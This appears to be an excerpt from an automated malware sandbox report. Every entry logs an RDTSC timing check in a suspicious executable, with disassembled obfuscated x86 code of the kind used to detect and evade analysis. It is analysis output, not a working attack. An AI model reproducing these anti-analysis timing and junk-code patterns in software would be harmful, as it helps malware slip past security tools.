Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A1018C second address: 4A101B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dx, DDEEh 0x00000013 mov edi, 7E9CEAFAh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10215 second address: 4A10230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10230 second address: 4A10237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10237 second address: 4A1023D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A1023D second address: 4A10241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A10241 second address: 4A10245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30B52 second address: 4A30B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, EBh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30B6E second address: 4A30BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2738B89E19h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2738B89E0Dh 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30BAF second address: 4A30BDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, dx 0x00000011 jmp 00007F2738E98EEFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30BDC second address: 4A30C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30C00 second address: 4A30C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30C04 second address: 4A30C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30C17 second address: 4A30C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EF4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30649 second address: 4A3068A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F2738B89E10h 0x0000000b jmp 00007F2738B89E15h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 mov di, 6162h 0x0000001a mov di, 31AEh 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A3068A second address: 4A3068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A3068E second address: 4A30692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30692 second address: 4A30698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A401DA second address: 4A40283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F2738B89E0Eh 0x0000000c xor ax, C158h 0x00000011 jmp 00007F2738B89E0Bh 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d jmp 00007F2738B89E11h 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F2738B89E11h 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F2738B89E13h 0x00000033 xor al, 0000002Eh 0x00000036 jmp 00007F2738B89E19h 0x0000003b popfd 0x0000003c pushfd 0x0000003d jmp 00007F2738B89E10h 0x00000042 sbb esi, 182267A8h 0x00000048 jmp 00007F2738B89E0Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40283 second address: 4A402B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2738E98EEDh 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A402B1 second address: 4A402CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 88h 0x00000005 mov esi, 2B1D8F6Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2738B89E0Ch 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A402CF second address: 4A402D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A402D5 second address: 4A402E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E0Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A402E6 second address: 4A402EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70EBF second address: 4A70F0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2738B89E0Eh 0x0000000f push eax 0x00000010 jmp 00007F2738B89E0Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F2738B89E16h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70F0E second address: 4A70F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70F12 second address: 4A70F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70F2F second address: 4A70F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F2738E98EF7h 0x00000008 pop esi 0x00000009 movsx edi, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2738E98EF7h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30556 second address: 4A3055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A3055C second address: 4A30560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30560 second address: 4A305C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2738B89E14h 0x00000013 and al, 00000058h 0x00000016 jmp 00007F2738B89E0Bh 0x0000001b popfd 0x0000001c call 00007F2738B89E18h 0x00000021 mov edi, esi 0x00000023 pop esi 0x00000024 popad 0x00000025 push eax 0x00000026 jmp 00007F2738B89E0Ch 0x0000002b xchg eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A305C7 second address: 4A305CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A305CB second address: 4A305D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A305D1 second address: 4A305D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A305D7 second address: 4A305DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A305DB second address: 4A305F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bl, D7h 0x00000012 push eax 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40D9A second address: 4A40DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40DA0 second address: 4A40DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40DA4 second address: 4A40DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F2738B89E10h 0x0000000e push eax 0x0000000f jmp 00007F2738B89E0Bh 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F2738B89E16h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F2738B89E17h 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40DFB second address: 4A40E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40E01 second address: 4A40E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40E05 second address: 4A40E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40E1D second address: 4A40E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40E23 second address: 4A40E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EF9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50140 second address: 4A50144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50144 second address: 4A50161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50161 second address: 4A50171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E0Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50171 second address: 4A50175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50175 second address: 4A501A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2738B89E0Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2738B89E17h 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A501A6 second address: 4A501DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edi, 160D199Eh 0x00000013 jmp 00007F2738E98EEFh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A501DD second address: 4A50200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50200 second address: 4A50207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, 24h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A50207 second address: 4A5020D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A5020D second address: 4A50211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A7071E second address: 4A70724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70724 second address: 4A7075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov di, B68Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F2738E98EF1h 0x00000016 adc al, 00000066h 0x00000019 jmp 00007F2738E98EF1h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A7075F second address: 4A70763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A70763 second address: 4A707B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 jmp 00007F2738E98EF8h 0x0000000d push eax 0x0000000e jmp 00007F2738E98EEBh 0x00000013 xchg eax, ecx 0x00000014 jmp 00007F2738E98EF6h 0x00000019 mov eax, dword ptr [774365FCh] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov edx, 00F298B0h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A707B5 second address: 4A707BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A707BA second address: 4A7082A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F2738E98EF0h 0x0000000b sub esi, 20BB38F8h 0x00000011 jmp 00007F2738E98EEBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test eax, eax 0x0000001c jmp 00007F2738E98EF6h 0x00000021 je 00007F27AB7DC04Fh 0x00000027 pushad 0x00000028 call 00007F2738E98EEEh 0x0000002d mov bx, si 0x00000030 pop ecx 0x00000031 popad 0x00000032 mov ecx, eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F2738E98EEFh 0x0000003b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A7082A second address: 4A7087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 mov di, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e jmp 00007F2738B89E13h 0x00000013 and ecx, 1Fh 0x00000016 jmp 00007F2738B89E16h 0x0000001b ror eax, cl 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F2738B89E0Dh 0x00000025 pop esi 0x00000026 push ebx 0x00000027 pop ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A7087A second address: 4A708CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F2738E98EF0h 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00302014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007F273D649792h 0x0000002a push FFFFFFFEh 0x0000002c pushad 0x0000002d mov edx, eax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F2738E98EF8h 0x00000036 sub eax, 75F54E68h 0x0000003c jmp 00007F2738E98EEBh 0x00000041 popfd 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A708CF second address: 4A709C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov si, CDF1h 0x0000000c jmp 00007F2738B89E0Eh 0x00000011 popad 0x00000012 ret 0x00000013 nop 0x00000014 push eax 0x00000015 call 00007F273D33A6FAh 0x0000001a mov edi, edi 0x0000001c jmp 00007F2738B89E10h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov al, 71h 0x00000025 pushfd 0x00000026 jmp 00007F2738B89E13h 0x0000002b or cx, 77BEh 0x00000030 jmp 00007F2738B89E19h 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F2738B89E17h 0x0000003f sub ecx, 1BCB99CEh 0x00000045 jmp 00007F2738B89E19h 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007F2738B89E10h 0x00000051 sbb cx, 4A48h 0x00000056 jmp 00007F2738B89E0Bh 0x0000005b popfd 0x0000005c popad 0x0000005d xchg eax, ebp 0x0000005e jmp 00007F2738B89E16h 0x00000063 mov ebp, esp 0x00000065 pushad 0x00000066 movzx ecx, bx 0x00000069 mov esi, ebx 0x0000006b popad 0x0000006c pop ebp 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F2738B89E10h 0x00000074 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A709C5 second address: 4A709CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A709CB second address: 4A709CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A200A2 second address: 4A200B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 push ecx 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A200B5 second address: 4A200BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A200BB second address: 4A200CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EEDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A200CC second address: 4A200D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A201E4 second address: 4A201EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A201EA second address: 4A20218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2738B89E17h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20218 second address: 4A20255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2738E98EEFh 0x00000009 sub esi, 064D379Eh 0x0000000f jmp 00007F2738E98EF9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A20255 second address: 4A2025B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A2025B second address: 4A202FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c jmp 00007F2738E98EF0h 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F2738E98EEEh 0x0000001a adc ecx, 5C9EE328h 0x00000020 jmp 00007F2738E98EEBh 0x00000025 popfd 0x00000026 mov ebx, eax 0x00000028 popad 0x00000029 je 00007F27AB827254h 0x0000002f jmp 00007F2738E98EF2h 0x00000034 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003b jmp 00007F2738E98EF0h 0x00000040 je 00007F27AB82723Bh 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushfd 0x0000004a jmp 00007F2738E98EECh 0x0000004f and ah, FFFFFFE8h 0x00000052 jmp 00007F2738E98EEBh 0x00000057 popfd 0x00000058 rdtsc
